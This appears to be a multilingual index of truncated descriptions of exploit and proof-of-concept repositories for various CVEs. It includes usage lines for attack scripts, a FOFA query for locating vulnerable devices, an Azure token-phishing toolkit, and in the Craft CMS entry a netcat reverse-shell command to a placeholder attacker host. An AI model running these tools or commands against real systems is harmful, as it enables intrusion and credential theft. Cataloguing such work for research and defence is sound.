CVE-2024-7120

Raisecom 设备命令注入 CVE-2024-7120 概念验证！ 概述 已在 RAISECOM 网关设备中发现一个命令注入漏洞，影响型号 MSG1200、MSG2100E、MSG2200 和 MSG2300。该漏洞允许远程攻击者通过 Web 界面在系统上执行任意命令。问题存在于 listbaseconfig.php 脚本中，具体通过 template 参数触发，影响互联网上超过 25,112 台设备。 ✔ FOFA : title="web user login" && body="" 受影响设备 硬件 RAISECOM 网关型号...

CVE-2021-34473

CVE-2021-34473 CVE-2021-34473 Microsoft Exchange Server 远程代码执行漏洞 复现 ProxyShell 漏洞利用 https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/ 这不是你的网络武器，只是一个实验性 PoC...

offensive-azure

Microsoft Azure を標的とした攻撃用ツール集。Python で書かれており、プラットフォームに依存しません。現在のツール一覧とその機能の簡単な説明を以下に示します。 ./DeviceCode/devicecodeeasymode.py ターゲットユーザーに入力させるコードを生成します。 一般的なトークン生成や、フィッシング・ソーシャルエンジニアリングキャンペーンで使用できます。 ./AccessTokens/tokenjuggle.py 様々な方法でリフレッシュトークンを受け取り、指定されたリソースの新しいリフレッシュトークンとアクセストークンを取得します。...

CVE-2022-26134

pip3 install -r requirements.txt 使用: python3 exp.py url "cmd" 示例: python3 exp.py http://192.168.1.1/ whoami...

APKHunt

APKHunt | OWASP MASVS 静的解析ツール APKHuntは、OWASP MASVSフレームワークに基づいたAndroidアプリ向けの包括的な静的コード解析ツールです。主にモバイルアプリ開発者やセキュリティテスター向けに設計されていますが、誰でもコード内の潜在的なセキュリティ脆弱性を特定し対処するために使用できます。...

cve-2024-7646

CVE-2024-7646 描述 默认情况下，nginx.ingress.kubernetes.io/server-snippet 是禁用的，但由于此 CVE，nginx.ingress.kubernetes.io/auth-tls-verify-client 仍然可以插入自定义代码片段，甚至可包含 Lua 代码。 修复版本 ingress-nginx 控制器 v1.11.2 - 由 kubernetes/ingress-nginx11719 和 kubernetes/ingress-nginx11721 修复 ingress-nginx 控制器 v1.10.4 - 由...

CVE-2017-10271

CVE-2017-10271 Weblogic wls-wsat组件反序列化漏洞CVE-2017-10271检测脚本 用法 $ python CVE-2017-10271 url 另外需要注册一个ceye.io的账号，将其提供的Identifier及API Token填入代码的如下部分： 功能 检测Windows及Linux环境下Weblogic是否存在CVE-2017-10271的远程命令执行漏洞 目前仅在Linux环境下测试过 Windows及Linux环境下均测试有效 检测原理 使用ceye.io提供的DNS...

CVE-2021-1732-EXP-

Este repositorio no tiene un README...

FsquirtCPLPoC

Fsquirt.exe binario de Windows intenta cargar un applet del Panel de control CPL llamado bthprops.cpl desde su directorio de trabajo actual. Cuando bthprops.cpl está presente junto a fsquirt.exe, el binario lo carga y ejecuta un MessageBox desde DLLMain. Este código PoC genera un archivo...

PoC-CVE-2026-20841

PoC CVE-2026-20841 描述 本项目是一个关于 Windows 记事本“远程代码执行”漏洞的简单概念验证（PoC）。 攻击者能够构建一个特殊的 .md 文件，并通过社会工程学手段诱骗用户点击该 .md 文件中的链接。 要求 记事本版本 11.2510 用户已通过社会工程学手段下载了 poc.md 文件。 作为用户 一旦 poc.md 被下载，我们便按顺序依次点击其中的链接。 第一行下载 PoC.exe，该文件是在之前的仓库中制作的。 第二行打开刚刚下载的 PoC.exe。...

Log4Shell

Log4Shell 本仓库用于演示和缓解 Log4j 2021（CVE-2021-44228）漏洞。 什么是 Log4Shell？ CVE-2021-44228 / Log4Shell 漏洞的原理是向易受攻击的软件注入恶意负载，该负载会通过 JNDI 并借助 LDAP 协议，诱使 Log4J 从第三方来源获取值。……导入的数据可以是代码，Log4J 会在系统上执行这些代码。 概念验证（视频教程） 1. 我们在 Docker 中运行一个易受 CVE-2021-44228 攻击的 Spring Boot Web 应用程序，该应用被 @christophetd 昵称为 Log4Shell。 它...

BluetoothDucky

BluetoothDucky CVE-2023-45866 - BluetoothDucky 实现（使用 DuckyScript） 未认证的蓝牙远程代码执行。（简而言之，无需与目标设备配对即可执行键盘命令） 这是 marcnewlin 发现的 CVE 的一个实现 https://github.com/marcnewlin/himynameiskeyboard 我创建了一个 duckyconvert.py，以便尽可能少地修改 hid.py 文件，方便将来使用。 仍在为它构思一些 payload 思路。 我使用树莓派 4...

CVE-2023-38646

CVE-2023-38646 CVE-2023-38646 Metabase 0.46.6 漏洞利用工具 该工具利用软件平台中的一个漏洞（CVE-2023-38646）。该漏洞通过精心构造的请求，利用对数据库连接字符串处理不当的问题，实现远程代码执行。 概述 该工具的功能： 从目标 URL 获取设置令牌（setup token）。 对提供的命令进行 Base64 编码。 使用编码后的命令构造攻击载荷。 发送攻击载荷以利用该漏洞。 安装 克隆仓库： git clone https://github.com/SUT0L/CVE-2023-38646.git cd CVE-2023-38646...

CVE-2024-4577

lol CVE-2024-4577 1. 利用命令 RCE 值 python3 cek.py --target http://target/index.php --ls --dir /path/to/directory python3 cek.py --target https://target/index.php --dir /path/to/directory python3 cek.py --target https://target/index.php --cat /path/to/directory 查找可写目录 python3 cek.py --target...

CVE-2024-56278

CVE-2024-56278 1️⃣ Tipo de componente Plugin de WordPress 2️⃣ Detalles del componente Nombre del componente WP Ultimate Exporter Versión vulnerable ⚠️ Dado que el plugin 'WP Ultimate Exporter' es un complemento del plugin 'WP Ultimate CSV Importer', ambos plugins deben estar instalados. 1. Cr...

CVE-2026-28695

CVE-2026-28695 补丁绕过 - Craft CMS 盲远程代码执行 Craft CMS 中的认证后盲远程代码执行。绕过了 CVE-2026-28695 修复（提交 e31e508）中添加的 create - BaseObject 限制。 用法 python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKERIP ATTACKERPORT -e /bin/sh' 免责声明...

ServiceNow-CVE-2025-11449-CVE-2025-11450-Mitigation-Script

ServiceNow CVE-2025-11449 与 CVE-2025-11450 修复脚本 概述 该脚本可自动检测并修复 ServiceNow UI Macros 中的 CVE-2025-11449 和 CVE-2025-11450 安全漏洞。如果用户控制的 sysparm 参数未得到正确清理，这些漏洞可能通过特制链接在用户浏览器中执行任意代码。 受影响的 UI Macros $pwdverifyemail $pwdverifypersonaldataui 脚本功能 该脚本执行两项关键安全修复： 1. 块外部：添加正确的编码 将易受攻击的模式替换为正确编码的版本： $sysparm ...

CVE-2023-31446-Remote-Code-Execution

CVE-2023-31446-Remote-Code-Execution 该仓库包含由Dodge Industrial团队在Dodge OPTIFY平台上发现的CVE-2023-31446的描述。 CVE ID：CVE-2023-31446 厂商：Cassia Networks 产品：Cassia Gateway固件 版本： http:///bypass/config?type=sqs&keyId=&key=&queueUrl= 根据调查，SQS功能会在设备启动时启动该服务。 服务会加载配置文件，而上述端点会覆盖其中的设置。 服务在加载指定URL后，会从root...

CVE-2026-34197

CVE-2026-34197 — Apache ActiveMQ RCE 通过 Jolokia API 描述 CVE-2026-34197 是 Apache ActiveMQ Classic 中的一个远程代码执行（RCE）漏洞，允许攻击者通过 Web 控制台中暴露的 Jolokia API 在服务器操作系统上执行任意命令。 该漏洞已存在超过 13 年，源于多个组件之间的交互：Jolokia（HTTP-JMX 桥接）、ActiveMQ 的 MBeans、网络连接器和 VM 传输。 漏洞信息 字段| 详情 ---|--- CVE ID| CVE-2026-34197 类型|...

CVE-2021-44228-Log4Shell-POC

CVE-2021-44228-Log4Shell-POC POC completo para la infame Log4j CVE-2021-44228 Requisitos previos Descargar e instalar Java desde aquí, puedes usar jdk-8u181. Instalar IntelliJ Idea desde aquí POC Paso 1 : Clonar este repositorio. Paso 2 : Mover el archivo Exploit.java a una carpeta diferente. Com...